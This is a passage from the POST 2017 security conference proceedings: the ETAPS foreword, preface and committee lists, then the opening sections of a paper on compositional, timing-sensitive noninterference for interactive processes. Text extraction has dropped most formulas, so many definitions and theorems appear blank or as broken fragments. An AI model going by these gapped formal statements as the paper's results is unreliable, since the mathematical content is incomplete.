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ETAPS Foreword

Welcome to the proceedings of ETAPS 2017, which was held in Uppsala! It was the
first time ever that ETAPS took place in Scandinavia.

ETAPS 2017 was the 20th instance of the European Joint Conferences on Theory
and Practice of Software. ETAPS is an annual federated conference established in
1998, and consists of five conferences: ESOP, FASE, FoSSaCS, TACAS, and POST.
Each conference has its own Program Committee (PC) and its own Steering Com-
mittee. The conferences cover various aspects of software systems, ranging from
theoretical computer science to foundations to programming language developments,
analysis tools, formal approaches to software engineering, and security. Organizing
these conferences in a coherent, highly synchronized conference program enables
participation in an exciting event, offering the possibility to meet many researchers
working in different directions in the field and to easily attend talks of different con-
ferences. Before and after the main conference, numerous satellite workshops take
place and attract many researchers from all over the globe.

ETAPS 2017 received 531 submissions in total, 159 of which were accepted,
yielding an overall acceptance rate of 30%. I thank all authors for their interest in
ETAPS, all reviewers for their peer reviewing efforts, the PC members for their con-
tributions, and in particular the PC (co-)chairs for their hard work in running this entire
intensive process. Last but not least, my congratulations to all authors of the accepted
papers!

ETAPS 2017 was enriched by the unifying invited speakers Kim G. Larsen (Aal-
borg University, Denmark) and Michael Ernst (University of Washington, USA), as
well as the conference-specific invited speakers (FoSSaCS) Joel Ouaknine (MPI-SWS,
Germany, and University of Oxford, UK) and (TACAS) Dino Distefano (Facebook and
Queen Mary University of London, UK). In addition, ETAPS 2017 featured a public
lecture by Serge Abiteboul (Inria and ENS Cachan, France). Invited tutorials were
offered by Véronique Cortier (CNRS research director at Loria, Nancy, France) on
security and Ken McMillan (Microsoft Research Redmond, USA) on compositional
testing. My sincere thanks to all these speakers for their inspiring and interesting talks!

ETAPS 2017 took place in Uppsala, Sweden, and was organized by the Department
of Information Technology of Uppsala University. It was further supported by the
following associations and societies: ETAPS e.V., EATCS (European Association for
Theoretical Computer Science), EAPLS (European Association for Programming
Languages and Systems), and EASST (European Association of Software Science and
Technology). Facebook, Microsoft, Amazon, and the city of Uppsala financially sup-
ported ETAPS 2017. The local organization team consisted of Parosh Aziz Abdulla
(general chair), Wang Yi, Björn Victor, Konstantinos Sagonas, Mohamed Faouzi Atig,
Andreina Francisco, Kaj Lampka, Tjark Weber, Yunyun Zhu, and Philipp Rümmer.

The overall planning for ETAPS is the main responsibility of the Steering Com-
mittee, and in particular of its executive board. The ETAPS Steering Committee



consists of an executive board, and representatives of the individual ETAPS confer-
ences, as well as representatives of EATCS, EAPLS, and EASST. The executive board
consists of Gilles Barthe (Madrid), Holger Hermanns (Saarbrücken), Joost-Pieter
Katoen (chair, Aachen and Twente), Gerald Lüttgen (Bamberg), Vladimiro Sassone
(Southampton), Tarmo Uustalu (Tallinn), and Lenore Zuck (Chicago). Other members
of the Steering Committee are: Parosh Abdulla (Uppsala), Amal Ahmed (Boston),
Christel Baier (Dresden), David Basin (Zurich), Lujo Bauer (Pittsburgh), Dirk Beyer
(Munich), Giuseppe Castagna (Paris), Tom Crick (Cardiff), Javier Esparza (Munich),
Jan Friso Groote (Eindhoven), Jurriaan Hage (Utrecht), Reiko Heckel (Leicester),
Marieke Huisman (Twente), Panagotios Katsaros (Thessaloniki), Ralf Küsters (Trier),
Ugo del Lago (Bologna), Kim G. Larsen (Aalborg), Axel Legay (Rennes), Matteo
Maffei (Saarbrücken), Tiziana Margaria (Limerick), Andrzej Murawski (Warwick),
Catuscia Palamidessi (Palaiseau), Julia Rubin (Vancouver), Alessandra Russo
(London), Mark Ryan (Birmingham), Don Sannella (Edinburgh), Andy Schürr
(Darmstadt), Gabriele Taentzer (Marburg), Igor Walukiewicz (Bordeaux), and Hon-
gseok Yang (Oxford).

I would like to take this opportunity to thank all speakers, attendees, organizers
of the satellite workshops, and Springer for their support. Finally, a big thanks to
Parosh and his local organization team for all their enormous efforts enabling a fantastic
ETAPS in Uppsala!

January 2017 Joost-Pieter Katoen

VI ETAPS Foreword



Preface

This volume contains the papers presented at POST 2017, the 6th Conference on
Principles of Security and Trust, held April 24–25, 2017, in Uppsala, Sweden, as part
of ETAPS. Principles of Security and Trust is a broad forum related to the theoretical
and foundational aspects of security and trust, and thus welcomes papers of many
kinds: new theoretical results, practical applications of existing foundational ideas, and
innovative theoretical approaches stimulated by pressing practical problems.

POST was created in 2012 to combine and replace a number of successful and
long-standing workshops in this area: Automated Reasoning and Security Protocol
Analysis (ARSPA), Formal Aspects of Security and Trust (FAST), Security in Con-
currency (SecCo), and the Workshop on Issues in the Theory of Security (WITS).
A subset of these events met jointly as an event affiliated with ETAPS 2011 under the
name “Theory of Security and Applications” (TOSCA).

POST 2017 invited “systematization of knowledge” (SoK) papers, which are
expected to evaluate, systematize, and contextualize existing knowledge. The call for
papers sought work that provides an important new viewpoint on established research
areas, challenges long-held beliefs in such an area with compelling evidence, or pre-
sents a comprehensive new taxonomy of such an area. There were 40 submissions to
POST 2017, of which two were SoK papers. Each submission was reviewed by at least
three Program Committee members, who in some cases solicited the help of outside
experts to review the papers. Electronic discussion was used to decide which papers to
select for the program. The committee decided to accept 14 papers, including one SoK
paper. We would like to thank the members of the Program Committee, the additional
reviewers, the POST Steering Committee, the ETAPS Steering Committee, and the
local Organizing Committee, who all contributed to the success of POST 2017. We
also thank all authors of submitted papers for their interest in POST and congratulate
the authors of accepted papers. Finally, we acknowledge the use of EasyChair for
organizing the submission process, the Program Committee’s work, and the preparation
of this volume.

January 2017 Matteo Maffei
Mark D. Ryan



Organization

Program Committee

Myrto Arapinis University of Birmingham, UK
Stefano Calzavara Università Ca’ Foscari Venezia, Italy
Konstantinos

Chatzikokolakis
Ecole Polytechnique of Paris, France

Stephen Chong Harvard University, USA
Jeremy Clark Concordia University, Canada
Cas Cremers University of Oxford, UK
Stephanie Delaune CNRS, IRISA, France
Matt Fredrikson Carnegie Mellon University, USA
Marco Gaboardi University at Buffalo, SUNY, USA
David Galindo University of Birmingham, UK
Deepak Garg Max Planck Institute for Software Systems, Germany
Dieter Gollmann Hamburg University of Technology, Germany
Catalin Hritcu Inria Paris, France
Limin Jia Carnegie Mellon University, USA
Aniket Kate MMCI, Saarland University, Germany
Boris Köpf IMDEA Software Institute
Matteo Maffei CISPA, Saarland University, Germany
Mark Manulis University of Surrey, UK
Catherine Meadows NRL
Frank Piessens Katholieke Universiteit Leuven, Belgium
Alejandro Russo Chalmers University of Technology, Sweden
Mark Ryan University of Birmingham, UK
Geoffrey Smith Florida International University, USA
Ben Smyth Huawei
Luca Viganò King’s College London, UK
Bogdan Warinschi University of Bristol, UK

Additional Reviewers

Audinot, Maxime
Cheval, Vincent
Chimento, Mauricio
Mannan, Mohammad

Morisset, Charles
Oswald, David
Palamidessi, Catuscia
Schoepe, Daniel

Van Bulck, Jo
Vassena, Marco
Vivek, Srinivas
Zavatteri, Matteo



Contents

Information Flow

Timing-Sensitive Noninterference through Composition . . . . . . . . . . . . . . . . 3
Willard Rafnsson, Limin Jia, and Lujo Bauer

Quantifying Vulnerability of Secret Generation Using Hyper-Distributions . . . 26
Mário S. Alvim, Piotr Mardziel, and Michael Hicks

A Principled Approach to Tracking Information Flow in the Presence
of Libraries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49

Daniel Hedin, Alexander Sjösten, Frank Piessens, and Andrei Sabelfeld

Secure Multi-party Computation: Information Flow of Outputs
and Game Theory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71

Patrick Ah-Fat and Michael Huth

Security Protocols

Automated Verification of Dynamic Root of Trust Protocols . . . . . . . . . . . . 95
Sergiu Bursuc, Christian Johansen, and Shiwei Xu

Beyond Subterm-Convergent Equational Theories in Automated
Verification of Stateful Protocols. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117

Jannik Dreier, Charles Duménil, Steve Kremer, and Ralf Sasse

On Communication Models When Verifying Equivalence Properties . . . . . . . 141
Kushal Babel, Vincent Cheval, and Steve Kremer

A Survey of Attacks on Ethereum Smart Contracts (SoK) . . . . . . . . . . . . . . 164
Nicola Atzei, Massimo Bartoletti, and Tiziana Cimoli

Security Policies

Security Analysis of Cache Replacement Policies . . . . . . . . . . . . . . . . . . . . 189
Pablo Cañones, Boris Köpf, and Jan Reineke

Model Checking Exact Cost for Attack Scenarios . . . . . . . . . . . . . . . . . . . . 210
Zaruhi Aslanyan and Flemming Nielson

Postulates for Revocation Schemes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
Marcos Cramer and Giovanni Casini

http://dx.doi.org/10.1007/978-3-662-54455-6_1
http://dx.doi.org/10.1007/978-3-662-54455-6_2
http://dx.doi.org/10.1007/978-3-662-54455-6_3
http://dx.doi.org/10.1007/978-3-662-54455-6_3
http://dx.doi.org/10.1007/978-3-662-54455-6_4
http://dx.doi.org/10.1007/978-3-662-54455-6_4
http://dx.doi.org/10.1007/978-3-662-54455-6_5
http://dx.doi.org/10.1007/978-3-662-54455-6_6
http://dx.doi.org/10.1007/978-3-662-54455-6_6
http://dx.doi.org/10.1007/978-3-662-54455-6_7
http://dx.doi.org/10.1007/978-3-662-54455-6_8
http://dx.doi.org/10.1007/978-3-662-54455-6_9
http://dx.doi.org/10.1007/978-3-662-54455-6_10
http://dx.doi.org/10.1007/978-3-662-54455-6_11


Defense in Depth Formulation and Usage in Dynamic Access Control. . . . . . 253
Ridha Khedri, Owain Jones, and Mohammed Alabbad

Information Leakage

Compositional Synthesis of Leakage Resilient Programs . . . . . . . . . . . . . . . 277
Arthur Blot, Masaki Yamamoto, and Tachio Terauchi

Combining Differential Privacy and Mutual Information
for Analyzing Leakages in Workflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . 298

Martin Pettai and Peeter Laud

Author Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 321

XII Contents

http://dx.doi.org/10.1007/978-3-662-54455-6_12
http://dx.doi.org/10.1007/978-3-662-54455-6_13
http://dx.doi.org/10.1007/978-3-662-54455-6_14
http://dx.doi.org/10.1007/978-3-662-54455-6_14


Information Flow



Timing-Sensitive Noninterference through
Composition

Willard Rafnsson1(B), Limin Jia2(B), and Lujo Bauer2(B)

1 Max Planck Institute for Software Systems, Saarbrücken, Germany
willardr@mpi-sws.org

2 Carnegie Mellon University, Pittsburgh, USA
liminjia@cmu.edu, lbauer@cmu.edu

Abstract. Sound compositional reasoning principles are the foundation
for analyzing the security properties of complex systems. We present
a general theory for compositional reasoning about the information-
flow security of interactive discrete-timed systems. We develop a sim-
ple core—and with it, a language—of combinators, including ones that
orchestrate the execution of a collection of interactive systems. We estab-
lish conditions under which timing-sensitive noninterference is preserved
through composition, for each combinator in our language. To demon-
strate the practicality of our theory, we model secure multi-execution
(SME) using our combinators. Through this, we show that our theory
makes it straightforward 1) to prove, through compositional reasoning,
that complex systems are free of external timing channels, and 2) to
identify sub-components that cause information leakage of a compos-
ite system.

1 Introduction

End-to-end security is the Holy Grail of information-flow security [38]. It guaran-
tees absence of information leaks between all endpoints of a system. Enforcing
end-to-end security is challenging for two main reasons. One is that modern
software is large and complex: software platforms execute third-party programs,
which have access to user-sensitive data and can interact with each other, the
user, and the operating system. The other is that even if a software is secure,
a leak may emerge when it is used as part of a larger system. This is because
any security guarantee makes assumptions on the system environment, which
the larger system can violate [26,28]. For instance, FlowFox [9] (by design) has
a timing leak [34] since it violates an assumption that its built-in enforcement
mechanism relies on to eliminate timing leaks. To address these challenges, the-
ories for secure composition have been studied extensively in event systems (e.g.
[24,26,42,44]), process calculi (e.g. [12,16,17,31,36,37]), transition systems (e.g.
[32,35]), and thread pools (e.g. [2,25]). These theories facilitate compositional
reasoning: sub-components can be analyzed in isolation, and security properties
of the entire system can be derived from security properties of its components.

W. Rafnsson—Work done while the author was at Carnegie Mellon University.

c© Springer-Verlag GmbH Germany 2017
M. Maffei and M. Ryan (Eds.): POST 2017, LNCS 10204, pp. 3–25, 2017.
DOI: 10.1007/978-3-662-54455-6 1



4 W. Rafnsson et al.

This paper investigates compositional reasoning for eliminating timing leaks
in interactive systems. Timing channels are a key concern in computer security;
they can be used by an adversary to reliably obtain sensitive information [6,11,
22,30], and building systems free of timing channels is a nontrivial matter. Many
timing leaks are caused by the environment violating a system assumption, e.g.
when the cache affects the timing behavior of an application [11,30]. Despite
great interest in eliminating timing leaks [1,5,10,14,46,47], little has been done
towards secure composition that eliminates timing leaks [13].

To bridge this gap, we present a theory for secure composition of timed sys-
tems. We first define a general model of computation, with a notion of inter-
face that simplifies compositional reasoning. For this model of computation, we
formalize our security property, timing-sensitive noninterference. We develop a
core of combinators for composing systems, designed to be expressive yet easy to
reason about formally. With it, we implement more practical combinators, i.e. a
language for building composite systems, which support reasoning about process
scheduling, message routing, and state. We establish compositionality results for
the core of combinators, which then translates to compositionality results for the
whole language of combinators. Finally, as a case study, we implement secure
multi-execution (SME) [10] (an enforcement of timing-sensitive noninterference),
and its variant used by FlowFox [9] (which is timing-insensitive). This demon-
strates how our formalism makes it straightforward to prove noninterference of a
complex system, and to trace the insecurity of a system to faulty component(s).

Our contributions are as follows:

– We define a general system model for timed asynchronous interactive sys-
tems (Sect. 3) and formalize timing-sensitive noninterference for these systems
(Sect. 4).

– We develop a generic language of process combinators, with primitives
for routing messages, maintaining state, scheduling processes, and wiring
processes together arbitrarily (Sect. 6).

– Crucially, we identify and prove conditions under which our combinators pre-
serve timing-sensitive noninterference under composition (Sect. 5).

– We demonstrate the practicality of our formalism and language by conducting
case studies on secure multi-execution (SME) (Sect. 7).

By implementing SME, we give a complete approach for building large systems
free of timing leaks: SME atomic parts, and build the rest using our language.
Detailed definitions and proofs can be found in our technical report [33]. The
main technical results are the theorems in Sect. 5. The culmination of our work
is Fig. 2, which describes the language, and lists the compositionality result for
all 28 combinators in it. We begin by motivating our approach in Sect. 2.

2 Motivation

A system is a whole of interacting components, which can themselves be sys-
tems. We refer to the system boundary as its interface, and what lies beyond
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as its environment. We reason about the behavior of a system in terms of how
it interacts with its environment through its interface. Compositional reasoning
is the use of compositionality results on parts to derive facts about the whole.
Secure composition is the study of compositionality results stating conditions
under which a secure system can be constructed from secure components. Secure
composition is a crucial challenge for securing composite systems: even if all com-
ponents are secure, insecurities can arise under composition. However, obtaining
compositionality results is a nontrivial matter. Each definition of security makes
assumptions on how a system is used; if a composition operator—combinator—
violates such an assumption, then its use may introduce a leak.

To motivate our work, we give examples of timing leaks that arise under
composition, and outline challenges for secure composition of interactive systems.

Timing leaks. A timing channel is one through which an adversary learns
sensitive information by observing the time at which observed effects occur. A
timing leak is an information leak through such a channel. For instance, consider
the program on the right. Here, “H” and “L” denote “high” (H, secret) and “low”
(L, public) confidentiality. Upper-case variables are shared, and we refer to these
as channels. Lower-case variables are local. We use this convention throughout
the paper. The output on the public channel L is delayed as a function of the
secret input channel H; by observing the timing of this event, an adversary can
infer information about H. Similar to sleep, a loop on h (key-value lookup), or
a branch on h where one branch takes longer to execute, also leaks information.

Timing leaks from insecure composition. Timing leaks can arise as a result
of composing secure systems. For instance, FlowFox [9] is a prototype of an
information-flow secure browser, based on secure multi-execution (SME) [10,
34]. SME is a black-box enforcement that removes insecurities (including timing
leaks) in any given process. It does so by running two copies, H and L, of a given
process; feeding (a copy of) H and L input to the H-copy, and dropping its L

output; and feeding only L input to the L-copy, and dropping its H output. Since
the only source of L output (the L-copy) receives no H input, no information
can leak. FlowFox implements SME on a per-event basis; inputs are queued,
and the queue is serviced by first running the L-copy on the L projection of the
next input, then running the H-copy on the input. Each copy finishes handling
an input before passing control over to the next copy, implementing cooperative
scheduling. However, while this approach prevents leaks to output values, the
time at which the L-copy processes the next input depends on how long it takes
for the H-copy to finish processing previous inputs. Thus, despite the process
copies being run securely, and the environment just being a queue, the way the
two are put together and scheduled creates a timing leak. This is illustrated by
the program on the right. This program will, upon receiving a message on H with
value n, sleep for n time units, and upon receiving a message on L, output 42 to
L. However, running an H and L copy of this program on a queue starting with
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(Hn . L0) makes the time at which the L-copy produces L42 depend on the time
it takes for the H-copy to react to Hn—a function of n.
Secure composition & interaction: challenges. We have seen that a secure
system can easily cause an information leak by being used in unexpected ways by
its environment. While it is best that a secure system assumes as little as possible
of its environment, such a security guarantee would be very strict, and might not
be preserved under composition. The design of a theory for secure composition
thus balances 1) environment assumptions, 2) security guarantee, and 3) choice
of combinators; each of these factors dramatically impact the others. We outline
some challenges that interaction introduces in this context.

One challenge involves the notion of environment that the security definition
needs to consider. Clark and Hunt showed that for deterministic programs, an
environment can wlg. be considered a fixed stream of inputs [7]. However, this
does not apply to nondeterministic programs, as demonstrated by the exam-
ple on the right [7]. Here, || interleaves components nondeterministically, and
0|1 is a nondeterministic choice. The right component outputs a secret bit H,
encrypted (using XOR ⊕) with key x, to L. The output is 0 or 1, independently
of H. The left component has no L outputs. Thus, both components (and the
whole) are secure. Say || models hardware interleaving that is, while a priori
unknown, deterministic. Then the nondeterminism in || masks a covert channel
that emerges when this nondeterminism is refined [46] to that of the hardware.
For instance, in interleaving right (line) 1, right 2, and left 1, H = H’⊕ x at the
time of the L output, so H’⊕ x⊕ x = H’ is written to L.

The main problem is that the right component does not keep its encryption
key x to itself. Its environment can thus, through accident or malice, adapt input
to the right component, causing the insecurity. To capture this, “animate” envi-
ronments need to be considered, e.g. strategies [42]. While expressive, strategies
are always ready to synchronize with a system on input and output operations.
Strategies thus do not consider leaks caused by blocking communication, which
can occur under composition when components are wired together directly. Con-
sider the program on the right. With strategies as environments, all three com-
ponents are secure; the left component interacts only on H channels, and, since
a strategy always provides input on request, the other two components output
an infinite sequence of L 1s and 0s respectively. However, when composed with
�, which wires its components in a synchronous pipe (i.e. any right-hand side
global variable read blocks until the left-hand side writes to said variable, and
vice versa), the first L output is 0 only if the bitwise representation of h contains
0.
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Our assumptions. Considering systems that assume that their environment is
always ready to synchronize, but that do not guarantee the same, is an incongru-
ous basis for a theory of secure interaction. We therefore adopt an asynchronous
model of interaction in our theory. We assume systems can always receive any
input (making them input total [23,26]), and always take a step (which may
produce an output message). Our timing-sensitive noninterference assumes the
same of the environment. This strikes a good balance of Pt. 1-3 in the challenges
section above; since interaction is nonblocking, composing components will not
introduce adverse behavior. This enables rich forms of composition, and at the
same time yields a clean, not too strict, notion of noninterference.

3 System model

We begin by presenting our system model, the constraints we impose on it for
reasoning about interaction, and our model of time.
Process domain. We consider a model of computation for processes that inter-
act with their environment (e.g. other processes) by receiving input or producing
output. We formalize this as a pair of relations, one specifying which inputs the
process can receive, the other which outputs it can produce. Let p range over
processes. For can produce output o and become
and p can receive input i and become

We write Proc I O to denote the semantic domain of processes that take inputs
of type I and produce outputs of type O. We define this set as the greatest
fixpoint of the following equation:

We take the greatest fixpoint because we wish to reason about the security of
processes that possibly run forever. This coalgebraic [18] approach is inspired by
the interaction trees of Zanarini et al. [45]. As demonstrated below, this approach
is just another way to define a labeled transition system. In contrast to more
standard transition system definitions, our approach is less cumbersome since
we do not need explicitly named states.

Example 1: Let p0 ∈ (Proc () Bool) be defined as the greatest fixpoint of the
following equations.

This process outputs a Boolean indicating whether it has received a unit
input since its last actuation. The graph describes this behavior; straight arrows
are outputs, and wavy arrows are inputs. �
Example 2: Let M = C× N be the set of messages. C is the set of channels. Let
c range over C, cn abbreviate 〈c, n〉 (message on c carrying n), and m range over
M. Proc M (Maybe M) is the set of message-passing processes. These can receive
a message, or take a step whilst sending a message (Just m) or not (Nothing). �
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Example 3: Let range over programs, expressions, variables X, memo-
ries (C ∪ X) → N respectively. We give the semantics of our example programs as
message-passing processes denotationally as the greatest fixpoint of , where

and . Here, ,
and O is given in full in the TR [33]. A sample of its definition:

Inputs update memory without stepping the program, and each step produces
output Nothing except in the global variable assignment case. �
Process behavior. We reason about the behavior of a process strictly in terms
of its inputs and outputs. Process inputs and outputs thus constitute its interface
to its environment. Let . We write iff , and
iff . We write , and iff
Example: Process p0 from Example 1 is the least process satisfying

and �
A process thus defines a labeled transition system with input-output effects

as labels. We define , the set of I-input and O-output effects, as follows.

Let e range over effects. We write ?i , !o as shorthand for 〈?, i〉, 〈!, o〉 respec-
tively. The transition relation is then: iff , and iff

We consider the sequences of effects performed by a process. Let t range over
traces, i.e. finite words, and s range over streams, i.e. infinite words. Let ε denote
the empty word, and “.” concatenation. Let S∗ and Sω be the set of finite and
infinite words over set S. For each p, let , let iff ,
and let iff . Likewise, iff
Example: For p0 from Example 1, we have . Let

. Then , and �
Interactive processes. Since we are interested in the interaction of processes,
the model of interaction that we consider is of central importance. Ours has two
properties. The first property is that processes are productive: they can always
produce output. This is intuitive, since outputs represent work performed by
the process, and the processes that we consider can always perform work (this
is similar to e.g. weakly time alive in tSPA [13]). The second property is that
processes are input total [27] (a.k.a. input enabled [23]): processes can always
receive any input. This makes communication asynchronous, which simplifies
compositional reasoning [26,44] since processes cannot block their environment.
This assumption is typically achieved by queuing input or by buffering channels.

Definition 1 (interactive process): p is interactive iff

An interactive process can always take action, and always accept any input.
Interaction between an interactive process and its environment thus never blocks
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or stops; to reason about such behavior, it must be modeled, making its effect,
e.g. on timing, explicit. We define , the set of interactive , as

Example: For p0 from Example 1, p0 ∈ (IProc () Bool), i.e. p0 is interactive. If we
remove a transition from p0, the resulting process will not be interactive. For
instance, removing yields a process that is not input total, as it cannot
receive more than one () between actuations. �
Timing. We use a discrete model of time and conflate transitions with time sim-
ilar to prior work (e.g. [5,10,13,20]). Our formalism times the work performed
by a process, which is producing output, since systems receive input asynchro-
nously. As a result, outputs are timed, and inputs are untimed. Each output takes
one unit of time, and inputs arrive at units of time by arriving between outputs.
Example: For p0 from Example 1, in , the process
performed two time units of work (one per output). Between the outputs, the
environment provided two inputs without the process itself performing work. �

To motivate this timing model, consider an operating system process p, wait-
ing to be scheduled. While p is idle, another process can write to p’s memory,
thus delivering an input to p. p performed no work in receiving it; however, the
writing process (and thus the computer) performs work producing said input
and thus the passing of time in this exchange is accounted for in the actions
of processes. This model of time makes explicit, in the transition history of the
whole system, the time that passes while processes wait. This simplifies reason-
ing.

Our work makes no restriction on how fine the discretization of time is; it
can be chosen as needed when a process is being modeled (e.g. to a constant
factor of the motherboard clock frequency).

4 Security definition

Based on a notion of attacker observation, we formalize absence of attacks as a
semantic security property: timing-sensitive noninterference.
Threat model. We consider an attacker that observes public process inputs and
outputs, as well as how much time passes between their occurrence. We assume
that the attacker knows how the process is defined. Our goal is to facilitate
building processes that preserve confidentiality : an attacker that interacts with
such a process through its interface learns nothing about inputs to the process
that the attacker is not allowed to know.
Observables. We formalize what each principal is allowed to know by means
of a security lattice denoted , where is a set, is a partial
order relation over , and every pair of elements � and �′ in have a least upper
bound � 
 �′ and greatest lower bound � � �′. Any principal, including the attacker,
is assumed to be associated with an element of , and (�) expresses the relative
privileges of principals. Information from a principal may only flow to more priv-
ileged principals (i.e. only upwards in the security lattice). We refer to elements
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of as security levels, expressing levels of confidentiality. In examples, we use a
two-point lattice , where and

We express what each principal observes in inputs and outputs by defining,
for each principal, which values are observably equivalent. To identify values
that are unobservable to a principal, we introduce a distinguished value • that
we assume is not an element of any value space. Any value observably equivalent
to • is considered unobservable. Let V• = V ∪ {•}, and let v• range over V•. Let
Eq• V be the set of equivalence relations over V•.

Definition 2:
We say v• is

-equivalent with v ′
• iff . ♦

We define the set of -equivalences over V as

We will consider different -equivalences over the same set V at the same
time; when is clear from the context, we let , , and range over

.

Example 4: For p0 from Example 1, say L observes the Boolean outputs, but
does not observe the inputs. We capture this as -equivalences as follows.

Since ()
()=L •, L cannot distinguish () from •, making presence of input to p0

unobservable to L. The H principal, however, can distinguish all values. �
Example 5: Revisiting Example 2, assume a mapping from channels to security
levels . We express that an �-observer observes messages over (� �)
channels, using the following projection function

We define two messages to be �-equivalent iff what an �-observer observes in
them is the same. That is, for all �, ( M−=�) is the least equivalence relation satisfying

Since (obsL m) = Nothing for messages on H channels, m M−=L •, meaning L will
not observe the presence of such inputs. We let

.
V = V . = Maybe V , and let v̇ range

over
.
V . Let eqmaybe(L, V=) be the least equivalence relation (

.
V=) satisfying

L is the set of principals that can distinguish Nothing from unobservable
Just v . We compare outputs with (

.
M−=) = eqmaybe(∅, M−=). �

Noninterference. An interactive process is noninterfering iff unobservable
input does not interfere with observable output. An attacker observing pub-
lic effects of such a process thus cannot infer any knowledge of its secret inputs.
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To motivate our formalization of noninterference, consider the set of streams a
process can perform. Each time the process performs an effect, this set shrinks
to the set of streams prefixed by the effects that the process has performed so
far. To violate noninterference, a process must receive secret input that renders
some public behavior impossible. Our formalization stipulates that a process
can, through its own actions, avoid states where it can be influenced by its envi-
ronment in this manner. We achieve this by requiring that, at any point of the
execution, secret input can be inserted, changed or removed, without affecting
the ability of the process to perform a given stream of observable effects.

Definition 3:

Definition 4 (noninterfering p):

This coinductive definition requires that, for each �, and for each stream s
that p can perform, p must �-simulate s (Definition 3). For p to �-simulate s,
p needs to satisfy four conditions. Pt. 1 and 2 deal with unobservable input
(and are therefore vacuously true when I has no values unobservable to �). Pt.
1 states that if s = ?i . s ′, the presence of i in s is not required for p to be
able to simulate s. Similarly, Pt. 2 states that the absence of i is not required
either. Pt. 3 and 4 deal with observable as well as unobservable effects. Pt. 3
states that if s = ?i . s ′, p must simulate s ′ after any i ′ I=� i has been inserted into
p, i.e. unobservably changing the next input will not prevent the process from
simulating the rest. Finally, Pt. 4 states that if s = !o . s ′, p must be capable of
producing some o′ O=� o and subsequently simulate s ′.

This definition is timing-sensitive; p must be able to simulate s with-
out inserting, observably changing, or deleting output, or any observable
input. Thus, p must be able to preserve the timing of public effects in s.

Example: The top four programs on the right violate has
an explicit flow. Assume , with and as defined in Exam-
ple 5. Let . Since , must hold. So there
must exist a L-( M−=)-(

.
M−=)-simulation for which . By Definition 3 Pt.
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2, since where . However, , is the
only output p′ can perform, so violates Pt. 4, contradicting . Thus

. has an implicit flow ; the proof that it violates is nearly
identical. has a progress leak. can perform ; if is
inserted, eventually outputs . has a timing leak.
Let can perform s. However, inserting ?H42
delays !Just L1.

The last two programs satisfy . Let , let s such that
, and let ( M−=) and (

.
M−=) be as given in Example 5. We show that

s 〈 M−=
.
M−=]� p, for all �. Let . Since ,

, so . The proof that is a �-( M−=)-(
.
M−=)

-simulation involves picking any , and showing that Pt. 1-4
of Definition 3 hold (using that for all μ, c and and

. Similarly, satisfies , since it ignores inputs. �

5 Combinator core

We develop a core of combinators for composing processes, presented in Figure 1.
The core is expressive yet easy to reason about; instead of striving for a min-
imal core, we designed this core such that each combinator in it embodies a
clearly-defined responsibility. We prove that the core combinators are all secu-
rity preserving; composing secure components yields a secure whole. We use this
core to implement a language of security-preserving combinators, in Sect. 6.

Core. Each core combinator in Figure 1 is a function that takes a set of processes
as parameter and returns a new process. The combinators are designed for build-
ing secure composites using secure parts. By introducing a primitive process, e.g.
�skip�μ0 , the core becomes a core language for implementing processes.

Fig. 1: Core combinators

The map combinator transforms incoming and outgoing messages. With map,
we can tag messages, providing means of routing messages. The sta combinator
maintains state, updating and forwarding it upon receiving input and output.
With sta, we can implement queues and counters. The compositionality results
for sta enable reasoning about the security of state maintained by a system.
The swi combinator maintains a Boolean state that determines whether the
given process is “on” or “off”. In (swi b p), b determines whether or not p is
running. If b = False, then p is “off”. Thus, when (swi b p) is tasked for output,
it merely produces Nothing without touching p (by rule (Swi.!)). With swi, we
can implement scheduling strategies and process termination, facilitating secure
implementation of runtime systems. Notice that in (swi False p), p receives input.
This lets the environment write values into p’s memory while p is waiting. The
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maybe combinator ignores non-value inputs. That is, (maybe p) ignores Nothing

input, and inputs i to p on receiving Just i (rule (Map?)). With maybe, we can,
together with map, filter incoming messages, removing those not intended to
the process. The par combinator executes two processes in parallel. With par,
composite processes can be built. The loop combinator feeds process output back
in as input, which can orchestrate interactions between subcomponents.

Compositionality of core. Our main results are compositionality results for
each core combinator, stating how each preserves security. The proofs are by
coinduction. We sketch the proof for map; the other proofs are similar.
map. The map combinator preserves the security of its given process as long as
its given functions do not introduce insecurities. We identify two ways a func-
tion can introduce insecurities. The former is when a function maps observably
equivalent values to observably different values. Functions, that do not, are non-
interfering. The latter is when the input function maps an unobservable input
to an observable one. Functions, that do not, are unobservable-preserving.

Definition 5 (noninterference): forall f : I → O, ( I=), and ( O=), f is ( I=)-( O=)-non-
interfering, written , iff ♦
Definition 6 (unobservable-preserving): forall f : I → O, ( I=), and ( O=), f is ( I=)-
( O=)-unobservable-preserving, written , iff .
♦
Theorem 1 (map): forall p ∈ IProc I ′ O, f : I → I ′, g : O→O′, ( I=), ( I′=), ( O=), and
(O′
=), if , and , then .

Proof sketch. Pick everything universally quantified in Theorem 1, satisfying
the stated assumptions. By Definition 4, the proof of is
carried out in two steps: given � and s such that , the first step
is to find a relation that relates s and (map f g p);
the second step is to prove that is a �-stream-simulation (Definition 3). Let

Here, relates an activity of the composite process to the activity
of the inner process; iff for some process p̂, and
(thus s ′ is what p̂ did as (map f g p̂) computed ŝ). To see that ,
construct s ′ from the proof of such that and .
Then invoke to establish s ′ 〈 I′= O=] p. The proof that is a �-stream-
simulation involves picking any pair , and showing that points
1) through 4) of Definition 3 hold through case analysis. �

sta. The compositionality result for sta states how to introduce state into a large
system without violating security: sta preserves the security of a given process
as long as the state update functions do not introduce insecurities. These func-
tions can do so in two ways: using unobservable parts of input and state to
observably update state, and observably updating state upon receiving an unob-
servable input. Functions that do not do this are noninterfering and equivalence-
preserving.
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Definition 7: forall
f : I → V → O, ( I=), ( V=), and ( O=), f is ( I=)-( V=)-( O=)-noninterfering, ,
iff ♦
Definition 8 (equivalence-preserving): forall , ( I=), and ( V=), f is
( I=)-( V=)-equivalence-preserving, , iff
♦
Theorem 2 (sta): forall p, f , g, v , ( I=), ( V=), and ( O=), if , ,
and , then , where (V ×O= ) = eqpair( V=, O=)
and (V ×I=) = eqpair•R( V=, I=).

satisfying (1), (1) and (2), and (1) and (3) respectively. Here, eqpair( A=, B=)
